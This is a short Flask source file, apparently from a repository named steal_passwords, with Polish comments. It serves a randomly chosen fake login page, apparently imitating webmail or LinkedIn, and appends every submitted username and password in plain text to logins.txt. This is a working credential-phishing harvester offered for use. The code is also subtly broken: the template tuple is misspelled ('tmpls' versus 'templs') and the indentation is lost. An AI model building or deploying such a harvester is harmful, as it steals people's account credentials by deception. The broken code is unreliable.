Files
steal_passwords/app.py

27 lines
888 B
Python

from flask import Flask, render_template, request, redirect, url_for
from random import choice
app = Flask(__name__)
tmpls = ('clean.html', 'webmail.html', 'linkedin.html')
tmpl = choice(templs)
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
# Pobieramy dane z pól formularza (atrybut 'name' w HTML)
uzytkownik = request.form.get('login')
haslo = request.form.get('password')
# Zapisujemy do pliku (tryb 'a' oznacza dopisywanie - append)
with open('logins.txt', 'a', encoding='utf-8') as f:
f.write(f"Użytkownik: {uzytkownik} | Hasło: {haslo}\n")
return "<h3>Dane zostały zapisane pomyślnie!</h3><a href='/'>Wróć do logowania</a>"
# Jeśli metoda to GET, po prostu wyświetlamy stronę
return render_template(tmpl)
if __name__ == '__main__':
app.run(debug=True)